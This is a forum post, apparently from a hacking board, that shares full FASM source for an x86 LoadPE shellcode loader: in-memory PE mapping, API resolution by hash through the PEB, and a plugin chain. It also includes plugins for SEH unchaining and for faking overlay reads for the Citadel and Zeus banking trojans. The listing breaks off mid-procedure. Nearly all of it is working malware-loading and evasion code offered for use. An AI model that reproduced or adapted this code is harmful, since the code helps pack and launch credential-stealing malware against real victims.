Author Topic: [FASM] x86 LoadPE shellcode with plugin support  (Read 1344 times)

0 Members and 1 Guest are viewing this topic.

Offline 0xDADA11c7

  • NULL
  • Posts: 4
  • Cookies: 4
    • View Profile
[FASM] x86 LoadPE shellcode with plugin support
« on: December 31, 2014, 07:09:12 pm »
This LoadPE shellcode

  • Support TLS
  • Don`t need relocation table
For using it you must to create next data structure:
Code: [Select]
    +========================+
    | _LOADPE structure      |
    +========================+-----+
    | LOADPE SHELLCODE       |     |
    +========================+     |
    | LOADPE PLUGINS         |     } LoadPE chain structure
    +========================+     |
    | END OF CHAIN SIGNATURE |     |
    +========================+
    | END SIGNATURE          |     |
    +========================+-----+
    Original PE file
For using this shellcode you must patch it

loadpe.inc file
Code: [Select]
    macro szHash name, res {
      local ..size, ..result, ..char, ..temp
      ..temp = 0
      ..result = 0
      virtual at 0
        db name, 0x0
        ..size = $
        repeat ..size
          load ..char byte from % - 1
          ..temp = (..temp shr 7) or (..temp shl 25)
          ..result = ..result xor ..temp
          ..temp = (..temp and 0xffffff00) or ..char
        end repeat
      end virtual
      res = ..result and 0xffffffff
    }
     
    struct _3B1P_PLUGIN_HEADER
      signature   db '3B1P'
      wSize       dw ?
      pReturn     dd ?
      pLoadPEData dd ?
      pEntryPoint dw ?
      dwPluginID  dd ?
    ends
     
    struct _LOADPE_DATA
      pCompareHash          dd ?
      pCompareString        dd ?
      pAltGetProcAddress    dd ?
      pGetFileHeader        dd ?
      pLoadLibraryA         dd ?
      pGetModuleHandleA     dd ?
      pVirtualProtect       dd ?
      pOriginalFile         dd ?
      hKernel32             dd ?
      hNtdll                dd ?
      dwOriginalFileSize    dd ?
      dwImageBase           dd ?
      dwShellcodeLen        dd ?
      dwDeepOfStack         dd ?
      dwReserved1           dd ?
      dwReserved2           dd ? 
    ends
     
    struct _LOADPE
      pluginData   db 0x1000 dup (?)
      pluginsQueue db 0x200 dup (?)
      loadpeData   _LOADPE_DATA
    ends
     
    macro __3BIP_PLUGIN_HEADER__ entryPoint, szPluginName {
      szHash szPluginName, hashPluginName
      _PLUGIN_HEADER_:
      _PLUGIN_BEGIN_ = _PLUGIN_HEADER_
      .signature    db '3B1P'
      .wSize        dw _PLUGIN_END_-_PLUGIN_BEGIN_
      .pReturn      dd ?
      .pLoadPEData  dd ?
      .pEntryPoint  dw entryPoint-_PLUGIN_BEGIN_
      .dwPluginID   dd hashPluginName
    }
     
    macro __3BIP_PLUGIN_TAIL__ name {
      _PLUGIN_END_:
      db name, 0x0
    }

Main file - loadpe.asm

Code: [Select]
    use32
    format binary
     
    include '%FASMINC%\win32a.inc'
    include 'pe.inc'
    include 'loadpe.inc'
     
    szHash 'KERNEL32', hashKERNEL32
    szHash 'NTDLL', hashNTDLL
     
    szHash 'LoadLibraryA', hashLoadLibraryA
    szHash 'VirtualProtect', hashVirtualProtect
    szHash 'GetModuleHandleA', hashGetModuleHandleA
    szHash 'VirtualFree', hashVirtualFree
     
    __LOADPE_BEGIN__:
    __LOADPE_PLUGINS_RETURN__ = loadPE_main.__LOADPE_PLUGINS_RETURN__
    start:
     
    jmp loadPE_main
    dwOriginalFileSize    dd 0xBEA51F3D ;
    dwImageBase          dd 0x0
    dwShellcodeLen          dd 0x0
    dwDeepOfStack          dd 0x0
    pOriginalTLSIndex     dd 0x0
     
    proc loadSection pSectionHeader:DWORD, image_base:DWORD, pFileImageBase:DWORD, SectionAlignment:DWord
        pusha
        cld
        mov     edx, [pSectionHeader]
        mov     ecx, [edx+IMAGE_SECTION_HEADER.VirtualSize]
        mov     edi, [image_base]
        add     edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
        mov     esi, [SectionAlignment]
        add     ecx, esi
        mov     eax, ecx
        xor     edx, edx
        div     esi
        sub     ecx, edx
        xor     eax, eax
        rep     stosb
        mov     edx, [pSectionHeader]
        mov     esi, [pFileImageBase]
        add     esi, [edx+IMAGE_SECTION_HEADER.PointerToRawData]
        mov     ecx, [edx+IMAGE_SECTION_HEADER.SizeOfRawData]
        mov     edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
        add     edi, [image_base]
        rep     movsb
    .exit:
        popa
        ret
    endp
     
    proc    GetHashSz strz
        push    ecx
        push    ebx
        push    DWord [strz]
        pop     ecx
        xor     ebx, ebx
        push    ebx
    .CalcHash:
        ror     ebx, 7
        xor     [esp], ebx
        mov     bl, Byte [ecx]
        inc     ecx
        cmp     bl, 0x0
        jnz     .CalcHash
        pop     eax
        pop     ebx
        pop     ecx
        ret
    endp
     
    proc loadImportDirectoryTable pAPITable:DWORD, image_base:DWORD, directory_entry:DWORD
     
      local .lookup_table:DWORD, .import_address_table:DWORD, .dll_image_base:DWORD
     
        pushad
        mov     eax, [directory_entry]
        mov     eax, [eax+IMAGE_IMPORT_DESCRIPTOR.Name_]
        add     eax, [image_base]
        ;load the corresponding dll
        mov     ebx, [pAPITable]
        stdcall DWord [ebx+_LOADPE_DATA.pLoadLibraryA], eax
        test    eax,eax
        jz        .exit_error
        mov     [.dll_image_base],eax
        mov     edx, [directory_entry]
        mov     eax, [edx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk]
        add     eax, [image_base]
        mov     [.import_address_table],eax
        mov     [.lookup_table],eax
        mov     eax, [edx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]
        test    eax, eax
        jz        .OFTIsNull
        add     eax, [image_base]
        mov     [.lookup_table], eax
    .OFTIsNull:
        xor     ecx, ecx
    .next_lookup_entry:
        mov     eax, DWord [.lookup_table]
        add     eax, ecx
        mov     eax, DWord [eax]
        test    eax, eax
        jz        .exit_success
        test     eax, IMAGE_ORDINAL_FLAG32
        jnz     .byordinal
    .byname:
        add     eax, [image_base]
        lea     eax, [eax+IMAGE_IMPORT_BY_NAME.Name_]
        push    ecx
        stdcall AltGetProcAddress, [pAPITable], [.dll_image_base], [ebx+_LOADPE_DATA.pCompareString], eax
        pop     ecx
        test    eax, eax
        jz        .exit_error
        mov     edx, [.import_address_table]
        mov     [edx+ecx], eax
        add     ecx, 4
        jmp     .next_lookup_entry
    .byordinal:
        and     eax, 0x7FFFFFFF
        push    ecx
        stdcall AltGetProcAddress, [pAPITable], [.dll_image_base], 0x0, eax
        pop     ecx
        mov     edx, [.import_address_table]
        mov     [edx+ecx], eax
        add     ecx, 4
        jmp     .next_lookup_entry
    .exit_success:
        popa
        xor eax,eax
        inc eax
        ret
    .exit_error:
        popad
        xor eax, eax
        ret
    endp
     
    proc setPermissions APITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD
     
     local .number_of_sections:DWORD, .image_base:DWORD, .section_headers:DWORD, .pe_header_size:DWORD, .vprotect_ret:DWORD, .retval:DWORD
     
        pusha
        xor     eax, eax
        mov     [.retval], eax
        mov     edx, [pImageFileHeader]
        movzx    eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
        mov     [.number_of_sections], eax
        add     edx, sizeof.IMAGE_FILE_HEADER
        mov     eax, [edx+IMAGE_OPTIONAL_HEADER32.ImageBase]
        mov     [.image_base], eax
        lea     ebx, [edx+IMAGE_OPTIONAL_HEADER32.DataDirectory]
        mov     eax, [edx+IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
        mov     edx, sizeof.IMAGE_DATA_DIRECTORY
        mul     edx
        add     eax, ebx
        mov     [.section_headers], eax
        mov     eax, sizeof.IMAGE_SECTION_HEADER
        mov     edx, [.number_of_sections]
        mul     edx
        add     eax, [.section_headers]
        mov     ebx, [pFileImageBase]
        sub     eax, ebx
        mov     [.pe_header_size], eax
        mov     ebx, [APITable]
        lea     eax, [.vprotect_ret]
        stdcall    DWord [ebx+_LOADPE_DATA.pVirtualProtect], [.image_base], [.pe_header_size], PAGE_READONLY, eax
        test    eax, eax
        jz        .exit
        mov     ecx, [.number_of_sections]
        mov     ebx, [.section_headers]
    .load_section_loop:
        stdcall    setSection, [APITable], ebx
        test    eax, eax
        jz        .exit
        add     ebx, sizeof.IMAGE_SECTION_HEADER
        loop    .load_section_loop
        inc     [.retval]
    .exit:
        popa
        mov     eax, [.retval]
        ret
    endp
     
    proc    HashCompare szName, dwVal
      local   iResult:DWORD
        pusha
        xor     esi, esi
        mov     DWord [iResult], esi
        stdcall GetHashSz, [szName]
        cmp     DWord [dwVal], eax
        jz        .FoundProcname
        not     DWord [iResult]
    .FoundProcname:
        popa
        push    DWord [iResult]
        pop     eax
        ret
    endp
     
    proc    loadImportTable pAPITable, image_base
      local   .import_table:DWORD
      local   iResult:DWORD
      local   .null_directory_entry[0x14]:BYTE
        pusha
        push    DWord [image_base]
        pop     edi
        push    DWord [edi + IMAGE_DOS_HEADER.e_lfanew]
        pop     edx
        lea     edx, [edx+edi + 4 + sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY]
        mov     edx, DWord [edx+IMAGE_DATA_DIRECTORY.VirtualAddress]
        cmp     edx, 0
        jz      .exit
        add     edx, edi
        push    edx
        pop     DWord [.import_table]
        xor     eax, eax
        mov     ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
        lea     edi, [.null_directory_entry]
        rep     stosb
        push    DWord [.import_table]
        pop     ebx
    .next_directory_entry:
        lea     esi, [.null_directory_entry]
        push    ebx
        pop     edi
        mov     ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
        rep     cmpsb
        je        .exit
        stdcall loadImportDirectoryTable, [pAPITable], [image_base], ebx
        add     ebx, 0x14
        jmp     .next_directory_entry
    .exit:
        popa
        ret
    endp
    ;        stdcall setSection, [APITable], ebx
     
    proc    setSection pAPITable, pSectionHeader
      local   .vprotect_ret:DWORD
      local   .retval:DWORD
      local   .section_flags:DWORD
        pusha
        mov     DWord [.retval], DWORD 0x0
        push    DWord [pSectionHeader]
        pop     ecx
    ;section execute/read/write?
        mov     ebx, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics]
        and     ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
        cmp     ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
        jne     .no_execute_read_write
        mov     DWord [.section_flags], PAGE_EXECUTE_READWRITE
        jmp     .set_memory
    .no_execute_read_write:
        mov     ebx, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics]
        and     ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
        cmp     ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
        jne     .no_execute_read
        mov     DWord [.section_flags], PAGE_EXECUTE_READ
        jmp     .set_memory
    .no_execute_read:
        mov     ebx, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics]
        and     ebx, IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ
        cmp     ebx, IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ
        jne    .no_read_write
        mov     DWord [.section_flags], PAGE_READWRITE
        jmp     .set_memory
    .no_read_write:
        mov     edi, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics]
        and     edi, IMAGE_SCN_MEM_READ
        cmp     edi, IMAGE_SCN_MEM_READ
        jne     .no_read
        mov     DWord [.section_flags], PAGE_READONLY
        jmp     .set_memory
    .no_read:
        mov     DWord [.section_flags], PAGE_NOACCESS
    .set_memory:
        mov     eax, DWord [pSectionHeader]
        mov     edi, DWord [eax + IMAGE_SECTION_HEADER.VirtualAddress]
        mov     esi, DWord [pAPITable]
        add     edi, DWord [esi+_LOADPE_DATA.dwImageBase]
        lea     edx, [.vprotect_ret]
        mov     ecx, [eax + IMAGE_SECTION_HEADER.VirtualSize]
        stdcall DWord [esi + _LOADPE_DATA.pVirtualProtect], edi, ecx, [.section_flags], edx
        popa
        xor     eax, eax
        inc     eax
        ret
    endp
     
    proc  strToUpcase szString
        pusha
        mov     eax, [szString]
        xor     ebx, ebx
    .up:
        movzx   edx, Byte [eax]
        test    edx, edx
        jz        .down
        cmp     edx, 0x61
        jb        .nextChar
        cmp     edx, 0x7A
        ja        .nextChar
        sub     edx, 0x20
        mov     Byte [eax], dl
    .nextChar:
        inc     eax
        jmp     short .up
    .down:
        popa   
        ret
    endp
     
    proc    AltGetProcAddress pAPITable, hLib, fCompareProc, dwVal
     
      local   dwOrdinal:DWORD
      local   iResult:DWORD
      local   pExportDirectory:DWORD
      local   pExportDirectoryBound:DWORD
      local   szFncName[0x20]:BYTE
      local   szLibName[0x20]:BYTE
     
        pusha
        push    0x0
        pop     DWord [iResult]
        mov     ecx, DWord [hLib]
        cmp     Word [ecx], WORD 0x5a4d
        jne     .End
        movzx   esi, Word [ecx+0x3c]
        add     esi, ecx
        cmp     DWord [esi], DWORD 0x4550 ;check <'PE',0,0>
        jne     .End
        mov     edx, DWord [esi+0x78]
        add     edx, ecx
        mov     DWord [pExportDirectory], edx
        mov     eax, edx
        add     eax, DWord [esi+0x7C]
        mov     DWord [pExportDirectoryBound], eax
        mov     ebx, DWord [edx+0x18]
        xor     esi, esi
        mov     eax, DWord [edx+0x20]
        add     eax, ecx
        cmp     DWord [fCompareProc], 0x0
        jnz     .MainLoop
        mov     esi, DWord [dwVal]
        sub     esi, [edx+0x10]
        mov     DWord [dwOrdinal], esi
        jmp     short .FoundOrdinal
    .MainLoop:
        push    DWord [eax]
        pop     edi
        lea     edi, [ecx+edi]
        push    eax
        stdcall [fCompareProc], edi, [dwVal]
        test    eax, eax
        pop     eax
        jz        .FoundProcname
        add     eax, 0x4
        dec     ebx
        inc     esi
        or        ebx, ebx
        jnz     .MainLoop
        jmp     .End
    .FoundProcname:
        mov     ebx, DWord [pExportDirectory]
        shl     esi, 1
        add     esi, DWord [ebx+0x24]
        movzx   esi, Word [esi+ecx]
        mov     DWord [dwOrdinal], esi
    .FoundOrdinal:
        mov     ebx, DWord [pExportDirectory]
        mov     esi, DWord [dwOrdinal]
        shl     esi, 2
        add     esi, ecx
        add     esi, DWord [ebx+0x1C]
        mov     edi, DWord [esi]
        add     edi, ecx
        mov     DWord [iResult], edi
        cmp     edi, DWord [pExportDirectory]
        jb        .End
        cmp     edi, DWord [pExportDirectoryBound]
        jae     .End
        lea     esi, [szLibName]
    .UpLibName:
        movzx   eax, Byte [edi]
        cmp     eax, '.'
        jz        .EndLibName
        mov     Byte [esi], al
        inc     esi
        inc     edi
        jmp     short .UpLibName
    .EndLibName:
        mov     Byte [esi], 0x0
        lea     eax, [szLibName]
        stdcall strToUpcase, eax
        lea     eax, [szLibName]
        stdcall GetHashSz, eax
        mov     ebx, [pAPITable]
        cmp     eax, hashKERNEL32
        jz        .getKernel32
        cmp     eax, hashNTDLL
        jnz     .callGetModuleHandle
    .getNtdll:
        mov     eax, DWord [ebx + _LOADPE_DATA.hNtdll]
        jmp     short .searchFncName   
    .getKernel32:
        mov     eax, DWord [ebx + _LOADPE_DATA.hKernel32]
        jmp     short .searchFncName
    .callGetModuleHandle:
        mov     DWord [esi], 0x4C4C442E
        mov     Byte [esi+0x4], 0x0
        lea     eax, [szLibName]
        stdcall DWord [ebx + _LOADPE_DATA.pGetModuleHandleA], eax
        cmp     eax, 0
        jnz     .searchFncName
        lea     eax, [szLibName]
        stdcall DWord [ebx + _LOADPE_DATA.pLoadLibraryA], eax
    .searchFncName:
        mov     DWord [hLib], eax
        lea     esi, [szFncName]
        inc     edi
    .UpFncName:
        movzx   eax, Byte [edi]
        test    eax, eax
        jz        .EndFncName
        mov     Byte [esi], al
        inc     esi
        inc     edi
        jmp     short .UpFncName
    .EndFncName:
        mov     Byte [esi], 0x0
        lea     esi, [szFncName]
        cmp     Byte [esi], 0x23
        jz        .forwardingByOrdinal
        stdcall AltGetProcAddress, ebx, [hLib], [ebx + _LOADPE_DATA.pCompareString], esi
        jmp     .foundAddr
    .forwardingByOrdinal:
        inc     esi
        stdcall strtonum, esi
        stdcall AltGetProcAddress, ebx, [hLib], 0x0, eax
    .foundAddr:
        mov     DWord [iResult], eax
    .End:
        popa   
        mov     eax, DWord [iResult]
        ret
    endp
     
    proc    verifyPE pImagePE
      local   iResult:DWORD
        pusha
        xor     edx, edx
        mov     edi, [pImagePE]
        movzx   ecx, Word [edi]
        cmp     ecx, 0x5a4d
        jnz     .Exit
        mov     eax, DWord [edi+IMAGE_DOS_HEADER.e_lfanew]
        add     edi, eax
        cmp     DWord [edi], 0x4550
        jne     .Exit
        add     edi, 0x4
        xchg    edi, edx
    .Exit:
        mov     DWord [esp+0x1C], edx
        popa
        ret
    endp
     
    proc  loadFile pAPITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD
      local .retval:DWORD
      local .iSectNum:DWORD
      local .pImageOptionalHeader:DWORD
      local .dwOldProtect:DWORD
      local .pSectionHeaders:DWORD
      local .iPEHeaderSize:DWORD
      local .SizeOfImage:DWORD
      local .SectionAlignment:DWORD
     
        pusha
        xor     eax, eax
        mov     [.retval], eax
        mov     ebx, [pAPITable]
        mov     edx, [pImageFileHeader]
        movzx    eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
        mov     [.iSectNum], eax
        lea     eax, [edx+sizeof.IMAGE_FILE_HEADER]
        mov     [.pImageOptionalHeader], eax
        push    DWord [eax + IMAGE_OPTIONAL_HEADER32.SectionAlignment]
        pop     DWord [.SectionAlignment]
        mov     eax, [eax + IMAGE_OPTIONAL_HEADER32.SizeOfImage]
        mov     [.SizeOfImage], eax
        lea     eax, [.dwOldProtect]
        stdcall    DWord [ebx+_LOADPE_DATA.pVirtualProtect], DWord [ebx+_LOADPE_DATA.dwImageBase], [.SizeOfImage], PAGE_READWRITE, eax
        test    eax, eax
        jz        .Exit
        cld
        xor     eax, eax
        mov     edi, DWord [ebx+_LOADPE_DATA.dwImageBase]
        mov     ecx, [.SizeOfImage]
        cld
        rep     stosb
        mov     edx, [.pImageOptionalHeader]
        mov     eax, [edx + IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
        lea     ecx, [edx + IMAGE_OPTIONAL_HEADER32.DataDirectory]
        mov     edx, sizeof.IMAGE_DATA_DIRECTORY
        mul     edx
        add     eax, ecx
        mov     [.pSectionHeaders], eax
        mov     eax, sizeof.IMAGE_SECTION_HEADER
        mov     edx, [.iSectNum]
        mul     edx
        mov     ecx, [pFileImageBase]
        add     eax, [.pSectionHeaders]
        sub     eax, ecx
        mov     [.iPEHeaderSize], eax
        mov     edi, DWord [ebx+_LOADPE_DATA.dwImageBase]
        mov     ecx, [.iPEHeaderSize]
        mov     esi, [pFileImageBase]
        rep     movsb
        mov     ecx, [.iSectNum]
        mov     esi, [.pSectionHeaders]
    .load_section_loop:
        stdcall    loadSection, esi, DWord [ebx+_LOADPE_DATA.dwImageBase], [pFileImageBase], [.SectionAlignment]
        test    eax, eax
        jz        .Exit
        add     esi, sizeof.IMAGE_SECTION_HEADER
        dec     ecx
        jnz     .load_section_loop
        inc     [.retval]
    .Exit:
        popa
        mov     eax, [.retval]
        ret
    endp
     
    proc    StringCompare szName, dwVal
      local   iResult:DWORD
        pusha
        xor     edi, edi
        mov     DWord [iResult], edi
        push    DWord [szName]
        pop     edx
        push    DWord [dwVal]
        pop     ecx
    .mainLoop:
        xor     ebx, ebx
        mov     bl, Byte [edx]
        movzx   eax, Byte [ecx]
        cmp     ebx, eax
        jnz     .Err
        test    ebx, ebx
        jz        .FoundProcname
        inc     ecx
        inc     edx
        jmp     .mainLoop
    .Err:
        not     DWord [iResult]
    .FoundProcname:
        popa
        mov     eax, DWord [iResult]
        ret
    endp
     
    proc    loadPE_main
     
      local   pMyAddr:DWORD
      local   pFileHeader:DWORD
      local   pPEImage:DWORD
      local   iResult:DWORD
      local   pOldTLSIndex:DWORD
      local   dwTLSIndexValue:DWORD
      local   pImageBase:DWORD
     
        pusha
        call    .delta
    .delta:
        pop     edi
        sub     edi, .delta - __LOADPE_BEGIN__
        mov     DWord [pMyAddr], edi
        mov     eax, edi
        add     eax, DWord [edi+dwShellcodeLen-__LOADPE_BEGIN__]
        mov     [pPEImage], eax
        lea     ebx, [edi-sizeof._LOADPE_DATA]
        push    DWord [edi+dwOriginalFileSize-__LOADPE_BEGIN__]
        pop     DWord [ebx+_LOADPE_DATA.dwOriginalFileSize]
        push    DWord [edi+dwImageBase-__LOADPE_BEGIN__]
        pop     DWord [ebx+_LOADPE_DATA.dwImageBase]
        push    DWord [edi+dwShellcodeLen-__LOADPE_BEGIN__]
        pop     DWord [ebx+_LOADPE_DATA.dwShellcodeLen-__LOADPE_BEGIN__]
        push    DWord [edi+dwDeepOfStack-__LOADPE_BEGIN__]
        pop     DWord [ebx+_LOADPE_DATA.dwDeepOfStack-__LOADPE_BEGIN__]
        push    DWord [edi+pOriginalTLSIndex-__LOADPE_BEGIN__]
        pop     DWord [pOldTLSIndex]
        mov     eax, DWord [fs:0x30]
        mov     eax, DWord [eax+0xC]
        mov     eax, DWord [eax+0x1C]
        push    DWord [eax+0x8]
        pop     DWord [ebx+_LOADPE_DATA.hNtdll]
        push    DWord [pPEImage]
        pop     DWord [ebx+_LOADPE_DATA.pOriginalFile]
        lea     eax, [edi+StringCompare-__LOADPE_BEGIN__]
        mov     DWord [ebx+_LOADPE_DATA.pCompareString], eax
        lea     eax, [edi+HashCompare-__LOADPE_BEGIN__]
        mov     DWord [ebx+_LOADPE_DATA.pCompareHash], eax
        lea     eax, [edi+verifyPE-__LOADPE_BEGIN__]
        mov     DWord [ebx+_LOADPE_DATA.pGetFileHeader], eax
        call    GetK32
        mov     DWord [ebx+_LOADPE_DATA.hKernel32], eax
        lea     eax, [edi+AltGetProcAddress-__LOADPE_BEGIN__]
        mov     DWord [ebx+_LOADPE_DATA.pAltGetProcAddress], eax
        stdcall AltGetProcAddress, ebx, DWord [ebx+_LOADPE_DATA.hKernel32], [ebx+_LOADPE_DATA.pCompareHash], hashLoadLibraryA
        mov     DWord [ebx+_LOADPE_DATA.pLoadLibraryA], eax
        stdcall AltGetProcAddress, ebx, DWord [ebx+_LOADPE_DATA.hKernel32], [ebx+_LOADPE_DATA.pCompareHash], hashVirtualProtect
        mov     DWord [ebx+_LOADPE_DATA.pVirtualProtect], eax
        stdcall AltGetProcAddress, ebx, DWord [ebx+_LOADPE_DATA.hKernel32], [ebx+_LOADPE_DATA.pCompareHash], hashGetModuleHandleA
        mov     DWord [ebx+_LOADPE_DATA.pGetModuleHandleA], eax
        lea     eax, [iResult]
        stdcall verifyPE, [pPEImage]
        test    eax, eax
        jz        .End
        push    eax
        pop     DWord [pFileHeader]
        stdcall loadFile, ebx, [pFileHeader], [pPEImage]
        test    eax, eax
        jz        .End
        stdcall loadImportTable, ebx, [ebx+_LOADPE_DATA.dwImageBase]
        stdcall setPermissions, ebx, [pFileHeader], [pPEImage]
        mov     eax, edi
        add     eax, __LOADPE_END__-__LOADPE_BEGIN__
        mov     ecx, edi
        sub     ecx, sizeof._LOADPE - _LOADPE.pluginsQueue
        mov     esi, [pFileHeader]
        mov     esi, [esi+sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint]
        add     esi, [ebx+_LOADPE_DATA.dwImageBase]
        stdcall FillPluginQueue, eax, ecx, ebx, esi
        pusha
        jmp     ecx
    .__LOADPE_PLUGINS_RETURN__:
    .End:
        popa
        mov     eax, DWord [iResult]
        ret
    endp
     
    proc    GetK32
      local   iResult:DWORD
        pusha
        mov     eax, DWord [fs:0x30]
        mov     eax, DWord [eax+0xC]
        mov     eax, DWord [eax+0x1C]
    .NextModule:
        push    DWord [eax+0x8]
        pop     DWord [iResult]
        push    DWord [eax+0x20]
        pop     ebx
        mov     eax, DWord [eax]
        movzx   ecx, Byte [ebx+0x18]
        cmp     ecx, 0x0
        jne     .NextModule
        movzx   ecx, Byte [ebx]
        cmp     ecx, 0x6b
        je        .Found_K32
        cmp     ecx, 0x4b
        jne     .NextModule
    .Found_K32:
        popa
        push    DWord [iResult]
        pop     eax
        ret
    endp
     
    proc strtonum strz
        pusha
        mov     edi, [strz]
        stdcall strlen, edi
        test    eax, eax
        jz        .err
        xchg    ecx, eax
        lea     esi, [edi+ecx-0x1]
        xor     edi, edi
        mov     ebx, edi
    .up:
        push    ebx
        test    ebx, ebx
        jz        .isZero
        mov     eax, 0xA
        jmp     .loopUp
    .isZero:
        xor     eax, eax
        inc     eax
        jmp     short .endPower
    .loopUp:
        dec     ebx
        jz        short .endPower
        mov     edx, 0xA
        mul     edx
        jmp     short .loopUp
    .endPower:
        pop     ebx
        movzx   edx, Byte [esi]
        cmp     edx, 0x30
        jb        .err
        cmp     edx, 0x39
        ja        .err
        sub     edx, 0x30
        mul     edx
        add     edi, eax
        inc     ebx
        dec     esi
        dec     ecx
        jnz     .up
        xchg    eax, edi
        clc
        jmp     .exit
    .err:
        xor     eax, eax
        stc
    .exit:
        mov     DWord [esp+0x1C], edi
        popa
        ret
    endp
     
    proc strlen s
        pusha
        cld
        mov     esi, [s]
        xor     eax, eax
        mov     ecx, eax
    .up:
        lodsb
        test    eax, eax
        je        short .down
        inc     ecx
        jmp     short .up
    .down:
        mov     [esp+0x1C], ecx
        popa
        ret
    endp
     
    proc LoadTLSIndex pImageBase, pOldTLSIndex, pDwTLSIndexValue
        pusha
        mov      ebx, [pOldTLSIndex]   
        cmp      ebx, 0h
        jz       .e
        stdcall  verifyPE, [pImageBase]
        add      eax, sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY*0x9
        mov      eax, DWord [eax]
        add      eax, [pImageBase]
        mov      eax, DWord [eax+0x8]
        mov      eax, DWord [eax]
        mov      edx, [pDwTLSIndexValue]
        mov      DWord [edx], eax
    .e:
        popa
        ret
    endp
     
    proc FillPluginQueue pFirstChain, pPluginQueueCmds, pLoadPEData, pReturn
         mov     edi, [pPluginQueueCmds]
         mov     esi, [pFirstChain]
         mov     edx, DWord [pLoadPEData]
    .up:
         cmp     DWord [esi], 0x4B504134
         jnz     .checkPlugin
         cmp     Word [esi+0x4], 0x41
         jz      .end
    .checkPlugin:
         cmp     DWord [esi], 0x50314233
         jnz     .end
         mov     Byte [edi], 0xBE
         mov     DWord [edi+0x1], esi
         mov     Byte [edi+0x5], 0xBF
         mov     DWord [esi+_3B1P_PLUGIN_HEADER.pLoadPEData], edx
         mov     DWord [edi+0x6], edx
         mov     Byte [edi+0xA], 0xB8
         movzx   ecx, Word [esi+_3B1P_PLUGIN_HEADER.pEntryPoint]
         mov     eax, ecx
         add     eax, esi
         mov     DWord [edi+0xB], eax
         mov     Word [edi+0xF], 0xE0FF
         add     edi, 0x11
         mov     DWord [esi+_3B1P_PLUGIN_HEADER.pReturn], edi
         movzx   ecx, Word [esi+_3B1P_PLUGIN_HEADER.wSize]
         add     esi, ecx
         jmp     .up
    .end:
         mov     Byte [edi], 0x68
         push    [pReturn]
         pop     DWord [edi+0x1]
         mov     Byte [edi+0x5], 0xC3
         jmp     DWord [pPluginQueueCmds]
    endp
     
    __LOADPE_END__:

Plugin for unchain SEH with restore original (system) handler exception and restore stack to original state (it can be changed by RTL start code)

Code: [Select]
    include '%FASMINC%\Win32a.inc'
    include 'loadpe.inc'
    szHash 'UnhandledExceptionFilter', hashUnhandledExceptionFilter
     
    org 0x0
    use32
    __3BIP_PLUGIN_HEADER__ start, 'RESTORESEH'
    pUnhandledExceptionFilter dd 0
    start:
         stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashUnhandledExceptionFilter
         xor     edx, edx
         dec     edx
         mov     eax, DWord [fs:0]
    .unchain:
         cmp     DWord [eax], edx
         jz      .down
         mov     eax, DWord [eax]
         jmp     short .unchain
    .down:
         mov     DWord [fs:0], eax
         add     esp, DWord [edi+_LOADPE_DATA.dwDeepOfStack]
         jmp     DWord [esi+_3B1P_PLUGIN_HEADER.pReturn]
    __3BIP_PLUGIN_TAIL__ 'RESTORESEH'

Plugin for EOF (overlay) simulation for Сitadel and Zeus.

Code: [Select]
    include '%FASMINC%\Win32a.inc'
    include 'loadpe.inc'
    include 'pe.inc'
     
    szHash 'ReadFile', hashReadFile
    szHash 'CreateFileW', hashCreateFileW
    szHash 'GetFileSizeEx', hashGetFileSizeEx
    szHash 'lstrcmpiW', hashlstrcmpiW
    szHash 'SetLastError', hashSetLastError
     
     
    org 0x0
    use32
     
    __3BIP_PLUGIN_HEADER__ start, 'CITADEL'
     
    proc ReadFile_Hook hFile, lpBufer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped
         pusha
         call    .delta
    .delta:
         pop     ebx
         sub     ebx, .delta-_PLUGIN_BEGIN_
         cmp     DWord [ebx+hFileExec], 0x0
         jz      .readOriginal
         mov     eax, DWord [ebx+hFileExec]
         cmp     eax, [hFile]
         jnz     .readOriginal
         mov     edi, DWord [lpBufer]
         mov     esi, DWord [ebx+_3B1P_PLUGIN_HEADER.pLoadPEData]
         mov     ecx, [nNumberOfBytesToRead]
         mov     esi, [esi+_LOADPE_DATA.pOriginalFile]
         cld
         rep     movsb
         mov     eax, [lpNumberOfBytesRead]
         mov     edx, [nNumberOfBytesToRead]
         mov     DWord [eax], edx
         mov     eax, [ebx+_ReadFile]
         mov     edx, [ebx+pIAT_ReadFile]
         mov     DWord [edx], eax
         stdcall DWord [ebx+_SetLastError], 0x0
         xor     eax, eax
         inc     eax
         jmp     short .end
    .readOriginal:
         stdcall DWord [esi+_ReadFile], [hFile], [lpBufer], [nNumberOfBytesToRead], [lpNumberOfBytesRead], [lpOverlapped]
    .end:
         mov     DWord [esp+0x1C], eax
